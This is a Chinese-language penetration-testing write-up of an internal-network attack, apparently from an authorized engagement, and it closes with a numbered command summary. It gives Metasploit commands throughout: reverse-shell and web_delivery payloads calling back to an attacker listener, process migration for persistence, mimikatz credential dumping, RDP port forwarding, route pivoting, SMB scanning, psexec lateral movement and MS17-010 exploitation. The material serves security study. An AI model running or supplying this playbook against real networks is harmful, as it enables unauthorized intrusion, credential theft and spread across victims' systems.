0x00 簡介
本次測試為實戰測試,測試環境是授權項目中的一部分,敏感信息內容已做打碼處理,僅供討論學習。由於本人在內網方面的掌握也是屬於新手階段,運用到的一些msf攻擊手法也很基礎,請各位表哥多多指教。
0x01 獲得shell
Getshell的過程沒什么好說的,無非簡單的后台弱口令到上傳然后冰蠍連接getshell。
獲得shell后,模擬終端ping 8.8.8.8
有返回包,說明該服務器與外網互通。
既然跟外網互通,那么可以嘗試直接使用msf的exploit/multi/handler
配合冰蠍反彈shell來獲得session
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xxx.xxx.xxx.xxx
set lport 5665
run
但是結果很不盡人意,沒能夠成功獲得session。
在使用冰蠍模擬終端收集信息過程中,發現本地有powershell進程。
再次打開msf,本次嘗試使用web_delivery
配合終端執行powershell指令來獲得session。
User exploit/multi/script/web_delivery
Set targets 2
set payload windows/x64/meterpreter/reverse_https
set lhost xxx.xxx.xxx.xxx
set lport 4332
set srvport
run
獲得payload,使用冰蠍或者C刀模擬終端直接執行,成功獲得session,執行getuid
發現權限為system權限,省去了提權過程。
0x02 權限維持
為了獲得一個持久穩定的高權限session,我們需要將當前的session進程遷移到一個持久、堅挺又穩定的進程上,防止突然暴斃(咳咳)
我們使用ps查看當前進程,然后選中一個看起來比較持久的幸運兒spoolsv.exe(這是一個用來控制打印的進程,我遇到的機器基本都開啟了此進程)
注意:選擇進程的時候優先選擇系統進程,這種比較持久且為system權限
migrate 進程號
getpid
0x03 內網信息搜集
不管是在什么類型的滲透環境下,信息搜集永遠是不可缺少的一環,他決定了你滲透的效率,可以讓你在滲透過程中少走很多彎路,畢竟在項目上尤其是紅藍攻防中,最缺的永遠是時間
接下來,查看IP信息以及arp緩存,查看網段分布情況:
發現該服務器只存在192.168.10.0/24網段的信息
於是繼續查看其他信息
Netstat -ano
發現服務器開放3389端口:
既然開啟了3389端口,我們使用端口轉發,登錄到服務器看看有沒有意外收獲。
portfwd add -l 6666 -p 3389 -r 127.0.0.1
IP有了,3389開了,現在我們缺少的是用戶名密碼
直接meterpreter下加載mimikatz
Load mimikatz
Wdigest
比較遺憾的是沒能獲取到明文密碼,但是我這邊使用cobalt strike加載的mimikatz成功獲取到明文密碼
emmm總之搞不懂的地方先歸為玄學問題
現在,密碼也有了,mstsc鏈接目標3389端口成功此處涉及的敏感信息較多,放棄截圖,我盡量用語言表述清楚思路
上傳netpass查看rdp緩存,無果,但是發現系統有VNC
VNC:VNC (Virtual Network Console)是虛擬網絡控制台的縮寫,是一款遠程控制工具軟件。
查看VNC相關文件發現新的網段信息,但是沒有保存的連接信息,不過能獲得新的網段信息也是知足了
0x04 橫向
至此,信息收集部分其實也就差不多,接下來我們開始嘗試橫向移動
根據之前發現的網段信息以及服務器本機的路由信息,我們手動添加路由
Run autoroute -s 192.168.10.0/24
Run autoroute -s 172.16.0.0/24
……
其他網段同理,添加路由之后bg
退回到控制台
先使用auxiliary/scanner/smb/smb_version
模塊掃描一下各網段的smb服務開啟情況
Use auxiliary/scanner/smb/smb_version
set rhosts 192.168.10.0/24
set threads 10
run
可以看到,活着的機器還挺多。
然后,使用auxiliary/scanner/smb/psexec_loggedin_users
模塊配合已獲得的兩組賬戶密碼進行橫向
Use auxiliary/scanner/smb/psexec_loggedin_users
Set rhosts 192.168.10.0/24
Set smbuser username
Set smbpass password
Set threads 5
run
尷尬,橫向失敗,居然沒有用同賬戶密碼
既然橫向失敗,可以考慮最簡單的,但也是最實用的大殺器,ms17-010
先使用scanner
模塊掃描一下哪些機器可能存在ms17-010的漏洞
Use auxiliary/scanner/smb/smb_ms17_010
Set rhosts 192.168.10.0/24
Set thread 20
Run
由於打ms17-010的流量比較大,為了防止死掉,我根據掃描出來的結果,針對性的選擇一台感覺比較容易搞的目標,單獨打。
此處試了很多機器,好多都打了補丁,不過也有漏網之魚,此處單獨拿一台示例:
Use auxiliary/admin/smb/ms17_010_command
set rhost 192.168.10.18
set command whoami
run
成功執行,是system權限,同理command換成彈shell的命令,便可以獲得該機器的權限。
獲得新機器的權限之后,便可以圍繞新機器進行新一輪的信息搜集,然后不斷橫向,進一步擴大內網戰果,以下,就不在多做測試。
另外對於ms17-010,如果說打2003的機器,建議使用auxiliary/admin/smb/ms17_010_command
模塊進行執行命令獲得session;其他的可以直接使用exploit/windows/smb/ms17_010_eternalblue
或者exploit/windows/smb/ms17_010_psexec來直接獲得session。
0x05 總結
1.目標已獲得shell,通過冰蠍已連接一句話
2.在MSF下執行以下命令,生成web_delivery的ps后門和監聽
msf>user exploit/multi/script/web_delivery
msf>set targets 2
msf>set payload windows/x64/meterpreter/reverse_https
msf>set lhost 172.17.0.4
msf>set lport 4332
msf>set srvhost 0.0.0.0
msf>set srvport 3294
msf>run
3.復制生成的PS后門,在冰蠍命令終端執行,MSF成功上線
msf>sessions 1
4.查看目標權限為system權限
meterpreter>getuid
5.權限維持,進程遷移
meterpreter>ps //查看spoolsv.exe所在的system權限的進程PID為7072
meterpreter>migrate 7072
6.內網信息收集
meterpreter>shell
c:\>ipconfig/all //發現目標內網IP為192.168.10.122
c:\>arp -a //發現有多個IP存活
c:\>netstat -ano //發現目標系統3389端口已開放
7.直接meterpreter下加載mimikatz,獲取到用戶的密碼和明文
meterpreter>Load mimikatz
meterpreter>Wdigest
8.既然開啟了3389端口,我們使用端口轉發
portfwd add -l 6666 -p 3389 -r 127.0.0.1
9.在kali下遠程桌面登錄
redesktop 127.0.0.1 6666
10.遠程桌面登錄,通過netpass進行遠程桌面密碼查看,發現沒有任何東西,但是發現存在VNC鏈接
11.根據之前發現的網段信息以及服務器本機的路由信息,我們手動添加路由
meterpreter>run autoroute -s 192.168.10.0/24
meterpreter>run autoroute -s 172.16.0.0/24
meterpreter>run autoroute -p
meterpreter>route print
meterpreter>background
msf>route add 192.168.10.0 255.255.255.0 1
msf>route add 172.16.0.0 255.255.255.0 1
12.使用auxiliary/scanner/smb/smb_version模塊掃描一下各網段的smb服務開啟情況
meterpreter>background
msf>use auxiliary/scanner/smb/smb_version
msf>set rhosts 192.168.10.0/24
msf>set threads 10
msf>run
13.使用auxiliary/scanner/smb/psexec_loggedin_users模塊配合已獲得的兩組賬戶密碼進行橫向,發現都失敗了
msf>use auxiliary/scanner/smb/psexec_loggedin_users
msf>set rhosts 192.168.10.0/24
msf>set smbuser username
msf>set smbpass password
msf>set threads 5
msf>run
14.使用scanner模塊掃描一下哪些機器可能存在ms17-010的漏洞
msf>use auxiliary/scanner/smb/smb_ms17_010
msf>set rhosts 192.168.10.0/24
msf>set thread 20
msf>run
15.由於打ms17-010的流量比較大,為了防止死掉,我根據掃描出來的結果,針對性的選擇一台感覺比較容易搞的目標,單獨打。
msf>use auxiliary/admin/smb/ms17_010_command
msf>set rhost 192.168.10.18
msf>set command whoami
msf>run